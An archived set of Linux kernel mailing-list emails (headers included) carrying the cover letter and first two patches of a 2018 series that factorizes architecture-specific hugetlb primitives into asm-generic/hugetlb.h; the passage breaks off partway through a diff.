Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 00/11] hugetlb: Factorize hugetlb architecture primitives
Date: Thu,  5 Jul 2018 05:16:29 +0000
Lines: 48
Approved: news@gmane.org
Message-ID: <20180705051640.790-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530767717 14158 195.159.176.226 (5 Jul 2018 05:15:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:15:17 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com, will.deacon@arm.com,
 tony.luck@intel.com, fenghua.yu@intel.com, ralf@linux-mips.org,
 paul.burton@mips.com, jhogan@kernel.org, jejb@parisc-linux.org,
 deller@gmx.de, benh@kernel.crashing.org, paulus@samba.org,
 mpe@ellerman.id.au, ysato@users.sourceforge.jp, dalias@libc.org,
 davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
 x86@kernel.org, arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 05 07:15:10 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1fawbm-0003X2-6j
	for linux-arm-kernel@m.gmane.org; Thu, 05 Jul 2018 07:15:10 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:Date:
	Subject:To:From:Reply-To:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:
	References:List-Owner; bh=Tt3iwBLm5xjPQsHuIMs2VptpfLW1DpIJMnruQqcaYuo=; b=iEm
	OBSofpIyzFq1y25KzrCgmspLClBrKIZP3kEi1wzrMlj+3AYe6EEAFN2aVQscO19Lijq4qcxjgI5/F
	fuFHDvR0SQZcGO08IfsruVm915edRyQrGRHhCcezBcqZPjpsu6yvdb21yPksf8t1Jy4hJdNZBEMzB
	wV1Fzy7pEboXAXyIrsxuffpX6cnrX1egufZw1wW/vbea/fJHcXz1PAfnZHjf9hnuq/pfuQ2GLvxNk
	KpghS+GBxW++lbY1MYG95MV4SMQJga51y1E+fQLJV2nIhSYyeYh/OAfTPAwtJooW1IN4wKbmjRfce
	aFa1gGvKProVqAEx0nCLfl/gtMIZRfg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fawdr-0002uH-Fn; Thu, 05 Jul 2018 05:17:19 +0000
Original-Received: from relay6-d.mail.gandi.net ([217.70.183.198])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fawdn-0002sB-1n
 for linux-arm-kernel@lists.infradead.org; Thu, 05 Jul 2018 05:17:16 +0000
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
 (Authenticated sender: alex@ghiti.fr)
 by relay6-d.mail.gandi.net (Postfix) with ESMTPSA id 2CAD0C0002;
 Thu,  5 Jul 2018 05:16:44 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180704_221715_297542_04DCDE9A 
X-CRM114-Status: UNSURE (   7.57  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [217.70.183.198 listed in list.dnswl.org]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:660920 gmane.linux.kernel:2812033 gmane.linux.ports.ia64:28890 gmane.linux.ports.mips.general:65250 gmane.linux.ports.parisc:28741 gmane.linux.ports.ppc64.devel:159673 gmane.linux.ports.sh.devel:57163 gmane.linux.ports.sparc:28065 gmane.linux.kernel.cross-arch:45011
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/660920>

In order to reduce copy/paste of functions across architectures and then
make riscv hugetlb port (and future ports) simpler and smaller, this
patchset intends to factorize the numerous hugetlb primitives that are
defined across all the architectures.

Except for prepare_hugepage_range, this patchset moves the versions that
are just pass-through to standard pte primitives into
asm-generic/hugetlb.h by using the same #ifdef semantic that can be
found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.

s390 architecture has not been tackled in this serie since it does not
use asm-generic/hugetlb.h at all.
powerpc could be factorized a bit more (cf huge_ptep_set_wrprotect).

This patchset has been compiled on x86 only.

Alexandre Ghiti (11):
  hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
  hugetlb: Introduce generic version of hugetlb_free_pgd_range
  hugetlb: Introduce generic version of set_huge_pte_at
  hugetlb: Introduce generic version of huge_ptep_get_and_clear
  hugetlb: Introduce generic version of huge_ptep_clear_flush
  hugetlb: Introduce generic version of huge_pte_none
  hugetlb: Introduce generic version of huge_pte_wrprotect
  hugetlb: Introduce generic version of prepare_hugepage_range
  hugetlb: Introduce generic version of huge_ptep_set_wrprotect
  hugetlb: Introduce generic version of huge_ptep_set_access_flags
  hugetlb: Introduce generic version of huge_ptep_get

 arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
 arch/arm/include/asm/hugetlb.h               | 33 +----------
 arch/arm64/include/asm/hugetlb.h             | 39 +++---------
 arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
 arch/mips/include/asm/hugetlb.h              | 40 +++----------
 arch/parisc/include/asm/hugetlb.h            | 33 +++--------
 arch/powerpc/include/asm/book3s/32/pgtable.h |  2 +
 arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
 arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
 arch/powerpc/include/asm/nohash/32/pgtable.h |  2 +
 arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
 arch/sh/include/asm/hugetlb.h                | 54 ++---------------
 arch/sparc/include/asm/hugetlb.h             | 40 +++----------
 arch/x86/include/asm/hugetlb.h               | 72 +----------------------
 include/asm-generic/hugetlb.h                | 88 +++++++++++++++++++++++++++-
 15 files changed, 143 insertions(+), 384 deletions(-)

-- 
2.16.2

From - Thu Nov 08 21:41:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 01/11] hugetlb: Harmonize hugetlb.h arch specific defines
 with pgtable.h
Date: Thu,  5 Jul 2018 05:16:30 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <20180705051640.790-2-alex@ghiti.fr>
References: <20180705051640.790-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530767779 18456 195.159.176.226 (5 Jul 2018 05:16:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:16:19 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com, will.deacon@arm.com,
 tony.luck@intel.com, fenghua.yu@intel.com, ralf@linux-mips.org,
 paul.burton@mips.com, jhogan@kernel.org, jejb@parisc-linux.org,
 deller@gmx.de, benh@kernel.crashing.org, paulus@samba.org,
 mpe@ellerman.id.au, ysato@users.sourceforge.jp, dalias@libc.org,
 davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
 x86@kernel.org, arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 05 07:16:12 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1fawcl-0004ck-LX
	for linux-arm-kernel@m.gmane.org; Thu, 05 Jul 2018 07:16:11 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=WyEsQ5qdfAuUOkcdIQRF99EBdgZPr6XhhIVVZINC6Uw=; b=f3MFqOamYsHbReouFyCxx/4/zb
	LWGNTMq8gnlNgEmVr4FH/Qq/4nhXgCwJ8druJ3fT57MpfLJ5WaoiroMxmObbOLdD/qfG9WWGRVuM4
	R6EWo5DQpd7uk5F6b4jz6C6773hj3AKriewFe96x4qwe0E8mFe4aCIbxBqqtmYM76taKwMJsf1PqA
	eTihNMpAyp8ay7DqzRkpMB8AchAYjEmXNMqMoKWT2RpbXGRcjZ75coExt7vgX2sPLSLu2NPdsfZyc
	an3PRdjJGjTLFEG0omT5x1FADb0bzsGlvFRsUmx7bxQVgy0K0xLDFv0uBpQl1r9sPKQcz01zUMHgu
	NX/4CDUw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1faweq-0003JF-Gq; Thu, 05 Jul 2018 05:18:20 +0000
Original-Received: from relay6-d.mail.gandi.net ([217.70.183.198])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1faweh-0003ID-PS
 for linux-arm-kernel@lists.infradead.org; Thu, 05 Jul 2018 05:18:16 +0000
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
 (Authenticated sender: alex@ghiti.fr)
 by relay6-d.mail.gandi.net (Postfix) with ESMTPSA id EE8F0C0004;
 Thu,  5 Jul 2018 05:17:54 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705051640.790-1-alex@ghiti.fr>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180704_221812_130939_CAD17F38 
X-CRM114-Status: UNSURE (   9.14  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [217.70.183.198 listed in list.dnswl.org]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:660921 gmane.linux.kernel:2812034 gmane.linux.ports.ia64:28891 gmane.linux.ports.mips.general:65251 gmane.linux.ports.parisc:28742 gmane.linux.ports.ppc64.devel:159674 gmane.linux.ports.sh.devel:57164 gmane.linux.ports.sparc:28066 gmane.linux.kernel.cross-arch:45012
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/660921>

asm-generic/hugetlb.h proposes generic implementations of hugetlb
related functions: use __HAVE_ARCH_HUGE* defines in order to make arch
specific implementations of hugetlb functions consistent with pgtable.h
scheme.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm64/include/asm/hugetlb.h | 2 +-
 include/asm-generic/hugetlb.h    | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index e73f68569624..3fcf14663dfa 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -81,9 +81,9 @@ extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
 extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
 				  unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTE_CLEAR
 extern void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 			   pte_t *ptep, unsigned long sz);
-#define huge_pte_clear huge_pte_clear
 extern void set_huge_swap_pte_at(struct mm_struct *mm, unsigned long addr,
 				 pte_t *ptep, pte_t pte, unsigned long sz);
 #define set_huge_swap_pte_at set_huge_swap_pte_at
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 9d0cde8ab716..3da7cff52360 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -32,7 +32,7 @@ static inline pte_t huge_pte_modify(pte_t pte, pgprot_t newprot)
 	return pte_modify(pte, newprot);
 }
 
-#ifndef huge_pte_clear
+#ifndef __HAVE_ARCH_HUGE_PTE_CLEAR
 static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 		    pte_t *ptep, unsigned long sz)
 {
-- 
2.16.2

From - Thu Nov 08 21:41:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 02/11] hugetlb: Introduce generic version of hugetlb_free_pgd_range
Date: Thu,  5 Jul 2018 05:16:31 +0000
Lines: 307
Approved: news@gmane.org
Message-ID: <20180705051640.790-3-alex@ghiti.fr>
References: <20180705051640.790-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530767834 22310 195.159.176.226 (5 Jul 2018 05:17:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:17:14 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 07:17:07 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fawdd-0005aS-J7
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 07:17:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753171AbeGEFTN (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 01:19:13 -0400
Original-Received: from relay4-d.mail.gandi.net ([217.70.183.196]:55309 "EHLO
        relay4-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752965AbeGEFTK (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 01:19:10 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay4-d.mail.gandi.net (Postfix) with ESMTPSA id A3F4BE0007;
        Thu,  5 Jul 2018 05:19:00 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705051640.790-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812036 gmane.linux.ports.arm.kernel:660922 gmane.linux.ports.ia64:28892 gmane.linux.ports.mips.general:65252 gmane.linux.ports.parisc:28743 gmane.linux.ports.ppc64.devel:159675 gmane.linux.ports.sh.devel:57165 gmane.linux.ports.sparc:28067 gmane.linux.kernel.cross-arch:45013
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812036>

arm, arm64, mips, parisc, sh, x86 architectures use the
same version of hugetlb_free_pgd_range, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb.h     | 12 ++----------
 arch/arm64/include/asm/hugetlb.h   | 10 ----------
 arch/ia64/include/asm/hugetlb.h    |  5 +++--
 arch/mips/include/asm/hugetlb.h    | 13 ++-----------
 arch/parisc/include/asm/hugetlb.h  | 12 ++----------
 arch/powerpc/include/asm/hugetlb.h |  4 +++-
 arch/sh/include/asm/hugetlb.h      | 12 ++----------
 arch/sparc/include/asm/hugetlb.h   |  4 +++-
 arch/x86/include/asm/hugetlb.h     | 11 ++---------
 include/asm-generic/hugetlb.h      | 11 +++++++++++
 10 files changed, 30 insertions(+), 64 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 7d26f6c4f0f5..047b893ef95d 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -23,19 +23,9 @@
 #define _ASM_ARM_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 #include <asm/hugetlb-3level.h>
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
-
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr, unsigned long len)
 {
@@ -68,4 +58,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 	clear_bit(PG_dcache_clean, &page->flags);
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_ARM_HUGETLB_H */
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 3fcf14663dfa..4af1a800a900 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -25,16 +25,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return READ_ONCE(*ptep);
 }
 
-
-
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr, unsigned long len)
 {
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 74d2a5540aaf..afe9fa4d969b 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -3,9 +3,8 @@
 #define _ASM_IA64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
@@ -70,4 +69,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_IA64_HUGETLB_H */
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 982bc0685330..53764050243e 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -10,8 +10,6 @@
 #define __ASM_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr,
@@ -38,15 +36,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr,
-					  unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -114,4 +103,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* __ASM_HUGETLB_H */
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 58e0f4620426..28c23b68d38d 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -3,8 +3,6 @@
 #define _ASM_PARISC64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
@@ -32,14 +30,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
@@ -71,4 +61,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_PARISC64_HUGETLB_H */
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 3225eb6402cc..de46ee16b615 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -4,7 +4,6 @@
 
 #ifdef CONFIG_HUGETLB_PAGE
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 extern struct kmem_cache *hugepte_cache;
 
@@ -113,6 +112,7 @@ static inline void flush_hugetlb_page(struct vm_area_struct *vma,
 void flush_hugetlb_page(struct vm_area_struct *vma, unsigned long vmaddr);
 #endif
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
@@ -193,4 +193,6 @@ static inline pte_t *hugepte_offset(hugepd_t hpd, unsigned long addr,
 }
 #endif /* CONFIG_HUGETLB_PAGE */
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_POWERPC_HUGETLB_H */
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 735939c0f513..f6a51b609409 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -4,8 +4,6 @@
 
 #include <asm/cacheflush.h>
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr,
@@ -27,14 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -85,4 +75,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 	clear_bit(PG_dcache_clean, &page->flags);
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_SH_HUGETLB_H */
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 300557c66698..59d89b52ccb7 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -3,7 +3,6 @@
 #define _ASM_SPARC64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 #ifdef CONFIG_HUGETLB_PAGE
 struct pud_huge_patch_entry {
@@ -84,8 +83,11 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_SPARC64_HUGETLB_H */
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 5ed826da5e07..996ce8e15365 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -3,7 +3,6 @@
